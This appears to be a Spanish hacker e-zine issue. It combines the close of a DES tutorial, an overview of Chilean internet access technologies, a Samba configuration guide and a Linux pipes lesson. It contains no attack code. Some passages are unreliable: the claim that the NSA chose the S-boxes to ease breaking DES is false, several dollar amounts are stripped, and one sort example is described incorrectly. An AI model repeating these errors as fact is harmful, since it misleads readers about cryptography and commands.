Para K1 , E(R0), tenemos:
K1 = 000110 110000 001011 101111 111111 000111 000001 110010
E(R0) = 011110 100001 010101 010101 011110 100001 010101 010101
K1+E(R0) = 011000 010001 011110 111010 100001 100110 010100 100111.
Aun no se terminan los calculos de f . Hasta este punto hemos expandido Rn-1
desde 32 bits a 48 bits, utilizando la tabla de seleccin y le hemos aplicado
un XOR al resultado con la llave Kn. Ahora tenemos 48 bits, o 8 grupos de 6
bits. Ahora haremos algo extrao a cada grupo de 6 bits: los utilizaremos como
direcciones en tablas llamadas "cajas S". Cada grupo de 6 bits nos dar una
direccin en una caja S distinta. Localizado en ese lugar se encontrar un
nmero de 4 bits. Este nmero de 4 bits reemplazar a los 6 originales. El
resultado neto es que los 8 grupos de 6 bits sern transformados en 8 grupos
de 4 bits (las salidas de 4 bits de las cajas S) para 32 bits en total. Como
vimos en la historia del algoritmo, la seleccin de estas cajas fue influenciada
por la NSA, para facilitar el rompimiento del cdigo. [BGK77]
Con el resultado previo, que es de 48 bits, en la forma:
Kn + E(Rn-1) =B1B2B3B4B5B6B7B8,
donde cada Bi es un grupo de 6 bits. Ahora calculamos
S1(B1)S2(B2)S3(B3)S4(B4)S5(B5)S6(B6)S7(B7)S8(B8)
donde Si(Bi) se refiere a la salida de la caja S nmero i.
Para repetir, cada una de las funciones S1, S2,..., S8, toma un bloque de 6
bits y lo convierte a un bloque de 4 bits. La tabla qe determina S1 es mostrada
y explicada a continuacin:
Nmero de columna
Reng No. 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
0 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
1 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
2 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
3 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
S1
Si S1 es la funcin definida en esta tabla y B es un bloque de 6 bits, entonces
S1(B) es determinada de la siguiente manera: El primer y ltimo bit de B
representan
en base 2 el nmero en el rango decimal 0 a 3 (o binario 00 a 11). Sea el nmero
i.
Los 4 bits medios de B representan en base 2 un nmero en el rango decimal 0 a 15
(binario 0000 a 1111). Sea ese nmero j. Consultar en la tabla el nmero en el
rengln i y en la columna j. El resultado de la consulta es un nmero en el
rango de 0 a 15 y esta representado por un bloque de 4 bits. Ese bloque es la
salida S1(B) de S1 para la entrada B. Por ejemplo, para la entrada B = 011011
el primer bit es "0" y el ltimo bit "1" dando 01 como el rengln. Este es el
rengln 1. Los 4 bits medios son "1101". Este es el equivalente binario del
decimal 13, as que la columna es la 13. En el rengln 1, columna 13 aparece
5. Esto determina la salida; 5 es el nmero binario 0101, as que la salida
es 0101. As S1(011011) = 0101.
Las tablas definiendo las funciones S1,...,S8 son las siguientes:
14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8
4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0
15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13
S1
15 1 8 14 6 11 3 4 9 7 2 13 12 0 5 10
3 13 4 7 15 2 8 14 12 0 1 10 6 9 11 5
0 14 7 11 10 4 13 1 5 8 12 6 9 3 2 15
13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 9
S2
10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8
13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1
13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7
1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12
S3
7 13 14 3 0 6 9 10 1 2 8 5 11 12 4 15
13 8 11 5 6 15 0 3 4 7 2 12 1 10 14 9
10 6 9 0 12 11 7 13 15 1 3 14 5 2 8 4
3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14
S4
2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9
14 11 2 12 4 7 13 1 5 0 15 10 3 9 8 6
4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14
11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3
S5
12 1 10 15 9 2 6 8 0 13 3 4 14 7 5 11
10 15 4 2 7 12 9 5 6 1 13 14 0 11 3 8
9 14 15 5 2 8 12 3 7 0 4 10 1 13 11 6
4 3 2 12 9 5 15 10 11 14 1 7 6 0 8 13
S6
4 11 2 14 15 0 8 13 3 12 9 7 5 10 6 1
13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6
1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2
6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12
S7
13 2 8 4 6 15 11 1 10 9 3 14 5 0 12 7
1 15 13 8 10 3 7 4 12 5 6 11 0 14 9 2
7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8
2 1 14 7 4 10 8 13 15 12 9 0 3 5 6 11
S8
Para la primera ronda, obtenemos como resultado de las ocho cajas S:
K1 + E(R0) = 011000 010001 011110 111010 100001 100110 010100 100111.
S1(B1)S2(B2)S3(B3)S4(B4)S5(B5)S6(B6)S7(B7)S8(B8) = 0101 1100 1000 0010 1011 0101
1001 0111
La ltima fase del clculo de f es realizar una permutacin P de la salida de
la caja-S para obtener el valor final de f:
f = P(S1(B1)S2(B2)...S8(B8))
La permutacin P est definida en la siguiente tabla. P produce una salida de
32-bit de una entrada de 32-bit permutando los bits de la entrada.
16 7 20 21
29 12 28 17
1 15 23 26
5 18 31 10
2 8 24 14
32 27 3 9
19 13 30 6
22 11 4 25
P
Para la entrada de las ocho cajas S:
S1(B1)S2(B2)S3(B3)S4(B4)S5(B5)S6(B6)S7(B7)S8(B8) = 0101 1100 1000 0010 1011 0101
1001 0111
obtenemos
f = 0010 0011 0100 1010 1010 1001 1011 1011
R1 = L0 + f(R0 , K1)
= 1100 1100 0000 0000 1100 1100 1111 1111
+ 0010 0011 0100 1010 1010 1001 1011 1011
= 1110 1111 0100 1010 0110 0101 0100 0100
En la siguiente ronda, tendremos L2 = R1, que es el bloque que acabamos de
calcular y luego tendremos que calcular R2 =L1 f(R1, K2), y as por 16 rondas.
Al final de la ltima ronda, tendremos los bloques L16 y R16. Luego tendremos
que invertir el orden de los dos bloques en el bloque de 64 bits.
R16L16
y aplicar una permutacin final PI-1 como es definida por la siguiente tabla:
40 8 48 16 56 24 64 32
39 7 47 15 55 23 63 31
38 6 46 14 54 22 62 30
37 5 45 13 53 21 61 29
36 4 44 12 52 20 60 28
35 3 43 11 51 19 59 27
34 2 42 10 50 18 58 26
33 1 41 9 49 17 57 25
PI-1
Esto es, la salida del algoritmo tiene el bit 40 de la entrada como su primer,
etc.
Si procesamos los 16 bloques utilizando este mtodo, al llegar a la ltima
ronda (la nmero 16)
L16 = 0100 0011 0100 0010 0011 0010 0011 0100
R16 = 0000 1010 0100 1100 1101 1001 1001 0101
Invertimos el orden de estos dos bloques y aplicamos la permutacin final a
R16L16 = 00001010 01001100 11011001 10010101 01000011 01000010 00110010 00110100
PI-1 = 10000101 11101000 00010011 01010100 00001111 00001010 10110100 00000101
que en forma hexadecimal es
85E813540F0AB405.
Esta es la forma encriptada de M = 0123456789ABCDEF:
La desencriptacin es simplemente el orden inverso de la encriptacin. La
desencriptacin es simplemente el inverso de la encriptacin, siguiendo los
mismos pasos pero invirtiendo el orden en que las subllaves son aplicadas.
Es de notar, sin embargo, que ha sido argumentado [DDF83] que las permutaciones
PI y PI-1 no aaden significancia criptogrfica. Sin embargo es probable que
este argumento no sea vlido bajo otros modos de operacin de DES (ver siguiente
seccin). Adems, Schaumuller-Bichl [Sch82] muestran que la complejidad del
DES depende principalmente de las cajas-S, el nmero de rondas y la utilizacin
de las llaves, no de las permutaciones.
5.- Modos de operacin DES
El algoritmos DES convierte un bloque de mensaje de 64 bits M en un bloque
encriptado C de 64 bits. Si cada bloque de 64 bits es encriptado individualmente,
se llama a este modo de operacin modo Electronic Code Book (ECB). Existen otras
dos modalidades de encriptacin DES llamadas Chain Block Coding (CBC) y Cipher
Feedback (CFB), los cuales encriptran cada bloque dependiendo de los bloques
previos por una operacin XOR inicial.
6.- Atacando y rompiendo el DES
Antes de que la NBS hiciera del DES un estndar, el algoritmo pas por una
polmica, como fue mencionado en la seccin de historia. Algunos de los ataques
al algoritmo incluyeron uno por los creadores de la criptografa de llave
pblica, Martin Hellman y Whitfield Diffie. Hellman escribi "Whit Diffie y yo
estamos preocupados con el estndar de encriptamiento de datos propuesto,
aunque probablemente seguro contra un ataque comercial, puede ser extremadamente
vulnerable a un ataque por una organizacin de inteligencia" (carta a la NBS,
Octubre 22, 1975).
Diffie y Hellman despus delinearon un ataque de fuerza bruta a DES. Ellos
propusieron un equipo de propsito especial, una "computadora paralela utilizando
un milln de chips para probar un milln de claves cada uno" por segundo y
estimaron su costo en US millones.
De regreso al presente (ms exactamente, 1998), la Electronic Frontier Foundation,
bajo la direccin de John Gilmore gast 0,000 para construir una mquina
que puede probar todo el espacio de llaves de 56 bits del DES en un promedio
de 4.5 das. El 17 de julio de 1998 anunciaron que haban roto un llave de 56
bits en 56 horas. Peor an, en enero de 1999, la misma computadora rompi una
llave en 22.5 horas. La computadora, llamada "Deep Crack" o "Rompimiento
profundo" (una posible deferencia a la maquina "Deep Thought" de IBM), utiliza
27 tarjetas con 64 chips cada uno y es capaz de probar 90 mil millones de
llaves por segundo. Si esto es posible con una computadora armada con
componentes comerciales, tan solo podemos imaginar lo que es posible hoy en
da con tecnologa de la NSA, la cual trata de mantenerse 10 aos delante de
las tecnologas comerciales.
A pesar de esto, tan recientemente como el 8 de junio de 1998, Robert Litt,
principal fiscal de distrito general asociado en el Departamento de Justicia
neg que fuera posible que el FBI pudiera romper el DES: "Djenme poner el
problema tcnico en contexto: Le tom a 14,000 computadoras Pentium 4 meses
el desencriptar un solo problema... No solo estamos hablando del FBI y la NSA
[que necesiten capacidad de cmputo masiva], estamos hablando de cada departamento
de polica."
El experto en criptografa Bruce Schneier: respondi: "...el FBI o es incompetente
o esta mintiendo o las dos cosas." Schneier continu "La nica solucin aqu
es escoger un algoritmo con una llave mas largar, no hay suficiente silicona
en la galaxia o suficiente tiempo antes de que el sol se apague para realizar
un ataque de fuerza bruta sobre DES-triple" (Crypto-Gram, Counterpane Systems,
15 agosto, 1998).
7.- DES-Triple
El DES-Triple es slo DES con dos llaves de 56 bits aplicadas. Dado un mensaje
de texto, la primera llave DES es utilizada para encriptar el mensaje.
La segunda llave es utilizada par desencriptar por DES el mensaje encriptado.
Puesto que la segunda llave no es la correcta, esta desencripcin slo encripta
ms los datos. Est mensaje encriptado dos veces es ahora encriptado una tercera
vez con la primera llave. El texto producido ha sido encriptado por el mtodo
DES-Triple
DES-Triple es slo DES hecho tres veces con dos llaves en un orden en particular.
Esto tambin puede ser realizado con tres llaves distintas. En cualquier caso,
el espacio de llaves resultante es, aproximadamente, 2^112.
8.- Referencias
[Bam83] Bamford, James, The Puzzle Palace, Viking Press, 1983
[BGK77] D.K. Branstead, J. Gait y S.Katzke, "Report of the Workshop on
Cryptography
in Support of Computer Security", NBSIR 77-1291, National Bureau of Standards,
Septiembre 1977
[DDF83] M. Davio, Y. Desmedt, M. Fosseprez, R. Govaerts, J. Hulsobosch, P.
Neutjens,
P. Piret, J. Quisquater, J. VanderWalle y P. Wouters, "Abalytical Characterisitics
of the DES", en Advances in Cryptology, Proceedings of Crypto 83, D.Chaum, R. L.
Rivest
y A.T. Sherman (editores), pag. 171-202, Plenum Press, New York, E.U.A., 22
al 24 de agosto de 1983
[DiH77] W. Diffie y M.E. Hellman, "Exhaustive Cryptanalysis of the NBS Data
Encryption Standard", Computer, Vol. 10, no. 6, pag. 74-84, Junio 1977
[Hel79] M. E. Hellman, "DES will be totally insecure within ten years", SPECTRUM,
vol. 16, no. 7, pag. 31-41, Julio 1979
[NBS77] NBS, Data Encryption Standard (DES), FIPS Publicacin 46, National Bureau
of Standards, U.S. Department of Commerce, Washington D.C., E.U.A., Enero 1977
[Sch82] I. Schaumuller-Bichl, "Cryptanalysis of the Data Encryption Standard
by the Method of Formal Coding", in Cryptography: Proceeding of the workshop
on Cryptography (Euroctypt 82), Lecture Notes in Computer Schience, no 149,
T. Beth (editor), pag. 235-255, Springer Verlag, Berlin, Alemania Federal, 29
de marzo al 2 de abril de 1982.
9 .- Despedida
Con esto termino este articulo recopilado por internet sobre el algortimo DES...
Cualquier problema, duda, consulta o sugerecia.
Mandenme un mail a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Get Connected >>>----------------------------------[ by NDR113 ]-----=>
Esta es una pequea resea sobre los aspectos fundamentales en los que
se basan las tecnologias mas utilizadas de comunicacion entre los proveedores
de servicios internet, y en general del networking remoto.
1. Modem Analogos
Estos son los dispositivos de comunicacion mas bastamente utilizados, y
son los encargados de modular y demodular las senales enviadas a traves
de la linea telefonica en informacion digital legible para el pc -al recibir-
y tb enviar la informacion digital en su forma analoga devuelta a la red
telefonica. Al transportar la red telefonica sonidos -en la forma de ondas-,
el modem tiene la tarea de covertir los pulsos digitales de 1 y 0,
en frencuencias dentro del rango audible para la linea telefonica. El proceso
inverso ocurre al recivir informacion.
Las velocidades se han superado por el tiempo desde los 300 bits por segundo
a los actuales 56 kilobits por segundo, limite teorico en cuanto a la
velocidad soportada por las lineas telefonicas, debido a sus limitaciones
por ser un medio de transporte analogo basado en cables de cobre.
Actualmente los modems podrian separarse en dos grupos, modems "reales" o
seriales, y modems por software, winmodems o softmodems.
1.1 Modems Seriales
Estos se comunican con el tarro a traves de una interfaz serial, es decir,
a traves de un puerto de comunicaciones real, basado en hardware. Esto puede
realizarse de forma interna, es decir a traves de una placa ISA o PCI, que
cuente con chipsets para realizar las labores de comunicacion. Estos puertos
pasan a ser los puertos COM en el ambiente DOS/WIN o los dispostivos ttsy
del mundo Unix/Linux. Tambien puede realizarse la labor de forma externa,
es decir, utilizando un modem externo que por un cable se
comunique con el pc a traves de los puertos seriales de la placa madre.
Estos modems reales, son actualmente algo dificiles de conseguir, y ademas
caros, en especial los externos que generalmente pasan los 80 dolares.
Que recives a cambio por tu dinero? un modem que trabaje de forma independiente
del sistema operativo ya que los chips se encargan de todo, haciendo el modem
mas compatible -estos son los modems que funkan en Linux- y confiable.
1.2 Modems por Software
Aqui entramos a hablar de estos modems que en verdad no tienen mucho de
modems...
jejee, esto es por que no cuentan con todo el hardware que tiene un modem
serial o verdadero, sustuyendo a este un conjunto de software especial que
suple esas funciones ausentes, como las de compresion, correccion de errores
y comunicacion, es por esto que generalmente cuando los instalas, primero
instalas un puerto ficticio de comunicaciones -controlado por el software-
para comunicarte con el modem. Aun cuando se les conoce genericamente como
winmodems -marca registrada de 3Com-, estos modems en si, teoricamente no son
exclusivos del sistema operativo de Microsoft, pues si se desarollara el
software necesarios para otros sistemas operativos, el modem funkaria. Pero
debido a que los fabricantes no liberan el codigo fuente de sus controladores,
hacer las labores de ingeneria inversa, y desenmaranar el funcionamiento de
los drivers es complicado. A esta labor se entrego el grupo linmodem.org,
quienes estan desarrollando codigo abierto para modems por software.
Finalmente, estan dentro de esta categoria tb los HFC, HSP... o modem basados
en host. Estos son aun mas mulas tecnicamente hablando, pues relegan mucho
del trabajo de los chips con los que cuenta un modem hacia el procesador
del PC, es decir, le dan la pega al CPU, eliminandose al maximo las partes
en la placa de modem, haciendolo aun mas barato de producir que los ya
mulas softmodems comunes.
Cual es la ventaja de un softmodem? por que se siguen produciendo?
Principalmente por que son baratos de producir... un modem de estos se vende
a 10 lucas -20 dolares- por alli, tonces es el sueo de los vendedores y
fabricantes de pc, a los que seguramente les salen regalados estos aparatos
mulas.
Si tienes uno de estos modems, dile adios a otros sistemas operativos que no
sea Microsoft.
2. Modem Digitales
Aqui tenemos varias tecnologias. Entre ellas se encuentran:
2.1 ISDN - RDSI
Integrated Services Digital Network - Red Digital de Servicios Integrados
Esta tecnologia se basa en una linea digital, es decir, no en el cableado
telefonico comun -el cual es analogo-. Su ancho de banda es de entre 64Kbps
a 128kbps en una linea individual -se pueden lograr mayores anchos de bandas
si se utiliza mas de una linea-. Por que hablamos de ancho de banda y no
de velocidad? Por que a traves de este ancho de banda se dirigen no solo
los datos -coneccion a internet p ejemplo- si no tambien las llamadas
telefonicas, el fax, servicios telefonicos, etc. Al ser digital todo esto
se pueden manejar por separado a traves de una sola linea. Por lo tanto
tanto voz como datos se transmite de manera digital y mientras se utiliza
alguno de estos servicios se consume ancho de banda, lo que se traduce
en una disminucion de la "velocidad" disponible.
La linea ISDN en forma de Interfaz de Regimen Basico (BRI) -que es la
manera mas comun y normal en la que se encuentra instalada- se compone
de 2 canales de 64 kbps compartidos por voz y datos, y un canal de 16 Kbps
que acarrea informacion de control.
Para conectar el PC, a esta linea se utiliza un modem digital ISDN. Y se
instala un router para manejar la entrada y salida en la linea.
ISDN es bastante antiguo -data de comienzos de los 90-, en tiempos en que
56Kb era una velocidad asombrosa. Acualmente aun se utiliza -en especial
en empresas-, mas su alto costo -tanto en la linea como por el hardware
q se necesita- han hecho que sea una tecnologia en descenso dentro del
mercado de las telecomunicaciones.
ISP <-> PROVEEDOR <--linea ISDN--> Router Suscriptor
| A
V |
Fonos
Fax
Modem Digital <-> PC
2.2 CableModem
Esta tecnologia se basa en la red de television por cable. La informacion
va a traves de dos tipos de cableao: uno que puede ser unidireccional (conocido
como Telco) y otro bidireccional, el TwoWay.
Mientras q en el telco es necesario utilizar de todas maneras un modem normal
para poder enviar datos y concretar la conexion -ya que el cable coaxial normal
es unidireccional-, solo ofrece bajar datos de la red; el TwoWay se basa
en un cable hibrido -mezcla de cable coaxial con fibra optica- que permite
tanto el envio como la recepcion de informacion.
Al hablar de ancho de banda en el cablemodem se deben barajar varios
factores, debido a la topologia del sistema.
Aqui a diferencia del ASDL/DSL y ISDN, la linea de carga/descarga
de datos no es directa desde el suscriptor a la central. Aqui el sistema es:
Two Way
========
ISP/PROVEEDOR <--red hibrida--> Router de Nodo
A |
| V
Subscriptor A -> Television
<-> CableModem <-> PC
Subscriptor B -> Television
<-> Fono
Subscriptor C -> Television
<-> CableModem <-> PC
Telco
=====
ISP/PROVEEDOR --red coaxial--> Router de Nodo
A |
| V
| Subscriptor A -> Television
|
| Subscriptor B -> Television
| -> CableModem -> PC
|---red telefonica analoga--------------------------<- Modem <- PC
Aqui vemos entonces que en ambos casos, tanto TW como Telco, tenemos que
el router se encuentra fuera del subscriptor, es decir, esta dispuesto
como router de nodo. Entonces, el ancho de banda (27 Mbps Aprox en descarga)
es repartido por los subscriptores de todo el nodo. Asi obtenemos en la
practica un ancho de banda por subscriptor de unos 256 Kbps por lo general.
Eso si, la velocidad real de descarga, muchas veces no supera los 30 o 40
kpbs por servidor.
Como se conecta el cable coaxial/hibrido al PC?
Zoom a la Conexion
===================
-> Cable Hibrido <--> Cable Modem <--cableado de red--> NIC Ethernet <-> PC
- VTR
Compaia de television y telefonia por cable que en el ao 99 se alio
con Chello, el ISP mas grande de europa en banda ancha. Es importante notar
que VTR con la inclusion del servicio de internet en sus productos,
se convirtio en la primera compaia de telecomunicaciones del mundo
en proveer los tres servicios de manera conjunta y por el mismo cable,
telefonia, television e internet de banda ancha. Fuera de todo slogan
publicitario, este hecho demuestra la posicion de punta que lleva
Chile en el campo de las telecomunicacion a nivel internacional.
El portal de vtr, aldea.cl, es bastante debil en cuanto al contenido que
entrega y su servicio al cliente deja bastante que desear.
- Metropolis Intecom
proveedora de television por cable en el area central del pais que hay
iniciado una fuerte campaa para la inclusion de servicios digitales
en su red, como pay-per-view y ahora internet por cable. No puedo opinar
sobre la calidad de su servicio pues aca en el norte no ha llegado.
Tip: Si ves que tu cable modem comienza a ponerse lento o llega al punto de que
simplemente no te conecta a ningun lado: desconcetalo,o sea, desenchufalo y
vuelvelo a encender, asi volvera a negociar con el server una coneccion,
obtendras otra IP y revivira la coneccion antes muerta.
2.3 DSL
Digital Subscriber Line
Esta tecnologia se basa en el cable de cobre tradicional que transmite
la informacion analoga del servicio telefonico. Donde esta lo digital
del asunto? en que entre subscriptor y central se comprimen y codifican
los datos utilizando sistemas digitales que trabajan por debajo de la
frecuencia utilizada por los servicios analogos, es decir en el rango de
los 300 Hz y los 3200 Hz. Para que esta compresion sea eficiente, se deben
evitar los ruidos en las lineas, estatica, interferencia y en general lineas
no muy bien aisladas o mantenidas. Para efectuar la modulacion/demodulacion
de datos se utiliza un router en ambos extremos.
Al ser esta linea exclusiva, es decir no se comparte el ancho de banda, se
pueden
asegurar entre 256 kbps a 2 Mbps aproximadamente. El ancho de banda, que en el
caso del CableModem se veia influenciado por la distribucion por nodo, aqui
se ve afectado por otros factores, en especial por la distancia.
Esta hace que al ir separandose la central del subscriptor se vaya perdiendo
la capacidad de asegurar una transmicion confiable, debido a q las seales
van por un cable en forma analoga.
Para tratar de maximisar la distancia los proveedores instalan repitores
intermedios para amplificar la seal, lo que es muy importante debido a que
se trabaja a frecuencias tan bajas.
Finalmente, la coneccion al PC se hace a traves de una red Ethernet estandar
desde el router DSL.
ADSL ? Asimmetryc o Asincronicus Digital Subscriber Line, o sea, es DSL en
su forma asicronica: velocidad de descarga superior a la velocidad de
"subida", asi de simple.
DSL es ofrecida de manera limitada -debido a la factibilidad tecnica- por
Entel, Telefonica y Manquehue. Es importante sealar q este servicio esta
siendo dirigido casi exclusivamente a las empresas y corporaciones, con
costos que ascenderian a unos .000 -150 dolares- mensuales. La escepcion
es Manquehue, la q dirije su producto DSL al usuario particular.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Configuracion de SAMBA >>>----------------------[ by GengisKAN ]-----=>
Indice:
----------------------------------------------------------
1.- Introduccion
2.- Configuracion general
3.- Compartiendo una unidad Linux con maquinas Window
4.- Compartiendo una unidad Windows con terminales linux
5.- Notas.
----------------------------------------------------------
1. Introduccion.
---------------
En este documento voy a explicar en forma sencilla como configurar el samba,
que es una herramienta para moverse a travez de el protocolo NetBIOS o
LanManager para linux.
El objetivo principal de este documento es dar a conocer como instalar una red
con un servidor linux y sus respectivas terminales en windows, ya que la mayoria
de las veces en un colegio por ejemplo siempre el servidor de la red es un pc
con windows, esto hace que la red sea muy inestable y vulnerable, siendo que
trabajando con un servidor linux el rendimiento y la estabilidad de la red
aumenta notablemente.
Ok, basta de latas y empezemos con lo principal.
2. Configuracion general.
------------------------
*Primero que nada se da por hecho que estan instalados los paquetes de samba,
sino fuera hace puedes encontrar el codigo fuente del ultimo samba disponible en
ftp://nimbus.anu.edu.au/pub/tridge/samba/.
Luego de ese pequeo recordatorio empezamos con la configuracion, toda la
configuracion de samba esta dirigida por un solo archivo que por lo general se
encuentra en /etc/smb.conf.
Cada seccion del fichero empieza con una cabezera onda [global], [tmp],
[public], etc. La seccion [global] define algunas variables que samba usara para
definir la comparticion de los recursos, como vendrian siendo el nombre del
grupo, nombre del pc, etc. La seccion [homes] permite a los usuarios remotos
acceder a sus directorios, y restringir el acceso de usuarios agenos al sistema
a directorios agenos a ellos.
El archivo smb.conf que viene un poco mas abajo es un ejemplo basico de la
configuracion de samba y tambien es un ejemplo de como permitir que usuarios
remotos accedan a sus directorios principales en el supuesto servidor y escriban
en un directorio temporal. Para que un usuario de un terminal windows vea los
recursos, el servidor tiene que estar funcionando en la red local, entonces el
usuario windows conecta su respectiva unidad usando el explorador de windows, o
desde DOS
nota: en el siguiente ejemplo se le agregan entradas extras para permitir la
comparticion de mas recursos.
-------------------------------------------------------------------------
; Los comentarios van antecedidos de un punto y coma como se ve el ejemplo
;de esta linea
; Tienes que reiniciar el servidor samba cada ves que modifiques este
;archivo
;
[global]
guest account = nobody
; agregale a la linea anterior un punto y coma para convertirlo en comen
;tario y asi denegar el acceso de usuarios invitados.
log file = /var/log/samba/log.%m
lock directory = /var/lock/samba
workgroup = ACME
string server = Tu_Makina
share modes = yes
[homes]
comment = Directorios principales
browseables = no
read only = no
create mode = 0750
[tmp]
comment = Ficheros Temporales
path = /tmp
read only = no
public = yes
--------------------------------------------------------------------------
En el ejemplo anterior hay varias claves que se pueden modificar, como por
ejemplo el workgroup = ACME, que ACME se llama mi pc tu puedes poner el nombre
que quieras, otro seria string server = Tu_Maquina es el nombre que quieres
asignarle al netbios de tu pc, este nombre no puede contener espacios, y tambien
read only = no, puedes ponerle yes para que no se pueda escribir en ese recurso,
y asi con muchas otras claves del fichero.
3. Compartir una Unidad Linux con maquinas Windows.
----------------------------------------------------
Compartir una unidad linux con windows es muy facil, solo tienes que
modificar el archivo smb.conf nuevamente.
Para compartir un directorio con todo el mundo solo hay que modificar algunos
datos en smb.conf
-------------------------------------------------------------------------
[public]
comment = Unidad publica
path = /tmp
public = yes
writable = yes
--------------------------------------------------------------------------
Para que esta unidad la puedan leer todos pero solo lo pueden escribir la
gente del grupo "alumnos", solo hay que agregar una entrada, que seria:
write list = @alumnos
4. Compartir una unidad Windows con Maquinas Linux.
---------------------------------------------------
En linux existen algunos comandos que vienen incluidos en el paquete de samba
como son "smbclient", "smbmount", etc. Estos comandos sirven para utilizar,
listar informacion, etc. sobre una unidad windows desde tu terminal Linux. El
comando smbclient es de una interfaz muy parecida a la del ftp y permite
transferir archivos desde la maquina windows al servidor linux.
Ahora voy a mostrar algunas opciones que posee el comando smbclient. Lo
primero que mostrare es como listar la informacion NetBIOS de una maquina, esto
seria:
[gkan@gengis /root]$ smbclient -L ip
y produciria una respues como:
Domain=[ACME] OS=[Unix] Server[Samba 2.0.3]
Sharename Type Comment
--------- ---- -------
homes Disk Directorios Principales
tmp Disk Archivos temporales
IPC$ IPC IPC Service (Samba 2.0.3)
Server Comment
------ -------
GENGIS Samba 2.0.3
Workgroup Master
--------- ------
ACME GENGIS
Visto estos resultados podemos ejecutar la siguiente opcion, que seria la de
conectar con el servidor, esto seria:
[gkan@gengis /root]$ smbclient \\ip\recurso
que producira lo sig.
[gkan@gengis /root]$ smbclient \\gengis\homes
Added interface ip=127.0.0.1 bcast=127.255.255.255 nmask=255.0.0.0
Password:
Domain=[ACME] OS=[Unix] Server[Samba 2.0.3]
smb:\>
y ahi estariamos conectado a la unidad remota mediante samba, ahora para
desconectar solo hay que tipear exit y listo. Tambien para conocer las otras
opciones dentro de samba puedes tipear h y se desplegara la lista de ayuda.
5. NOTAS
---------
Esto seria todo lo basico que hay que conocer para configurar samba en un
equipo linux u otro tipo de unix, cualquier duda, sugerencia, puteadas, etc.
dirigirlas a
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
y si tienes ideas o articulos que aportar para
nuestro team tambien maileame.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
<=--<<< Linux Fundamental II >>>---------------------------[ by NDR113 ]-----=>
Saludos, esta es la segunda parte de la guia basica sobre linux que comenze en
FYE3, creo que no hace falta repetir q esto es la base, y no mas, para los que
no son linuxeros o unixeros y quieren comenzar a usar este sistema operativo o
alguna de sus variantes *nix.
Quedamos en direccionadores, ahora veremos canalizaciones o pipes.
Canalizaciones o Pipe
Canalizar significa simplemente enviar la salida de un comando a la entrada de
otro, a diferencia de una redireecion q es enviar la salida a un archivo.
[ndr113@quark /etc]$ ls | more
DIR_COLORS
HOSTNAME
MACHINE.SID
...
-More-
Aqui el ls en ves de enviar directamente la lista de archivos en /etc a la
pantalla, lo canaliza al comando more, el que toma la entrada y produce una
salida en que es necesario presionar una tecla para avanzar la lista. Util para
ver directorios largos.
Podemos utilizarlo tambien para ver archivos de texto q no caben en pantalla
por su extension
[ndr113@quark /etc]$ cat fye4.txt | more
Se puede tambien imprimir directmente desde la pantalla con algo tan simple como
[ndr113@quark /etc]$ cat | lpr
Aqui escribe
lo que quieras
imprimir
^D
cat toma la entrada estandar, en este caso la consola por q no se especifico
archivo alguno y lpr -el comando de impresion- toma su salida e imprime.
Ahora haremos una lista rapida para mostrar el comando sort y otros ejemplos de
canalizacion.
[ndr113@quark ndr113]$ echo Windows > lista&&echo Unix >> lista&&echo MacOs >>lista
[ndr113@quark ndr113]$ cat lista
Windows
Unix
MacOs
[ndr113@quark ndr113]$ sort lista | tee lista2 | lpr
MacOs
Unix
Windows
Primero creamos la lista usando echo -notese que poner && es para separar un
comando de otro, y asi evitar tener que escribir comando por comando y dar
enter despues de cada uno, muy util se utilizamos una cuenta remota que sea
lenta.
Luego sort tomo el archivo lista y lo ordeno alfabeticamente -ese es su
uso-, luego canalizamos la lista ordenada al comando tee el cual toma una
entrada la guarda en un archivo especificado, en este caso lista2, y tiene
una salida extra que puede ser la pantalla en caso q no se especifique, pero
en nuestro ejemplo esa salida fue enviada a lpr, asi que sera impresa.
Notese que el archivo lista original se mantiene tal como estaba sin cambio.
Ahora haremos un archivo en orden invertido llamado lista3.
[ndr113@quark ndr113]$ sort lista2 | cat > lista3
Ahora como ya terminamos de ver canalizaciones vamos a eliminar los archivos
lista2 y lista3, dejando lista.
[ndr113@quark ndr113]$ rm lista[2-3]
en nix se puede utilizar los corchetes [] para establer un rango, como en el
